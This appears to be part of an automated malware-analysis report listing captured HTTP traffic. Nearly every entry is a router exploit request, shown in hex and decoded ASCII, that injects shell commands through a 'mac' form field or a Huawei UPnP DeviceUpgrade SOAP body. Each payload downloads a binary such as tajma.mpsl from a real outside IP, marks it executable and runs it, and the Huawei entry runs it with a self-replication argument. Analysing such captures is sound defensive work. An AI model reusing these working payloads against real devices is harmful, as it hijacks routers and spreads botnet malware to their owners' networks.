Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 492Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 74 61 6a 6d 61 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 74 61 6a 6d 61 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.174.73.190 -l /tmp/linuxxx -r /tajma.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.tajma)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 31 37 34 2e 37 33 2e 31 39 30 2f 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 20 2e 2f 74 61 6a 6d 61 2e 6d 70 73 6c 20 74 61 6a 6d 61 2e 6d 70 73 6c 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.174.73.190/tajma.mpsl; chmod 777 tajma.mpsl; ./tajma.mpsl tajma.mpsl;rm -rf mpsl;
